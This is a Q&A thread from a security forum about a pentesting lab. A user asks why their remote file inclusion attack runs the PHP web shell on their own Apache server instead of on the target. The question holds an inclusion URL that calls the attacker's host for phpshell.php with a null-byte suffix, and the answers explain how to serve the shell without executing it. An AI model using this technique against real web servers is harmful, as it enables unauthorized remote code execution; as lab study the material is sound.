6

I am using Kali Linux in a pentesting lab.

By entering the following URL on the victim system I can get it to access my apache server (I see a 200 access response in my logs), but the php file renders on my system and then I spawn a webshell on my own box:

https://10.0.0.1/section.php?page=http://10.0.0.2/phpshell.php%00

How do I "change the binding" in apache to prevent it from running? Changing it to a .txt seems to prevent it from running on both systems; not sure that I can inject it that way.

5
  • Are you trying to attack 10.0.0.1 by including a file from 10.0.0.2?
    – Sjoerd
    Commented Dec 23, 2016 at 20:54
  • @Sjoerd Yes that is exactly what is being attempted here
    – Shrout1
    Commented Dec 27, 2016 at 17:27
  • I know which box this is =X
    – Info5ek
    Commented Jan 2, 2017 at 20:53
  • @Info5ek I stumbled on this while googling for section.php. Your comment is well stated ;)
    – gr0k
    Commented Mar 30, 2018 at 1:32
  • Some should "try harder"...
    – Info5ek
    Commented Apr 11, 2018 at 5:04

2 Answers 2

5

python -m SimpleHTTPServer 80

will spawn you a simple http server that is not php aware, quickest way imho

1
  • Thanks so much! This server is awesome for simple file hosting out of various directories on the system. Incredibly easy to use and none of the extra Apache fluff.
    – Shrout1
    Commented Dec 27, 2016 at 17:26
6

Use the following setting in your apache config or in a .htaccess file:

php_flag engine off

See also Disable PHP in directory (including all sub-directories) with .htaccess.

1
  • Thank you! I wish I could mark two answers - you directly addresed my Apache question, but the SimpleHTTPServer is so straightforward I've got to go with it! Thanks for taking the time to chime in however :) This response is equally relevant.
    – Shrout1
    Commented Dec 27, 2016 at 17:25

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .